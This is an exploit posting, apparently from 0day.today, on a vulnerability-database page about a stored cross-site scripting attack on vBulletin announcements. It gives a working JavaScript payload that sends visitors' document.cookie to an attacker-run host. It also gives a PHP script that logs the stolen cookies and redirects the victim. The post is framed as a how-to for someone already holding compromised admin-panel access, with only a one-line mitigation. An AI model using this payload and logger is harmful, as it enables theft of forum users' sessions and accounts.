Lucene search
K

vBulletin Announcements Cookie Steal Vulnerability

🗓️ 09 Dec 2012 00:00:00Reported by neutr0nType 
zdt
 zdt
🔗 0day.today👁 31 Views

vBulletin Announcements Cookie Steal Vulnerabilit

Code
vBulletin Announcements, by default has html enabled, so if you get access to a forum using other exploits and get a user with acp info, but it only has default admin cp permissions (moderator access and announcements), you can inject a cookie stealer and steal other users informations.

admincp>announcements>create a new one>put some random announcemnt + this code:

<script language="JavaScript">
document.location= " http://www.yoursite.com/cookie.php?p=" + document.cookie; </script>

and in your site put this and name it cookie.php

<?php
$cookie = $HTTP_GET_VARS[" p"]; 
$file = fopen('cookielog.txt', 'a'); 
fwrite($file, $cookie . "\n\n"); 
echo " <script>location.href='http://www.google.com';</script>";
?>


If you're the owner, a "fix" for this is disallow html in announcements.

#  0day.today [2018-04-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation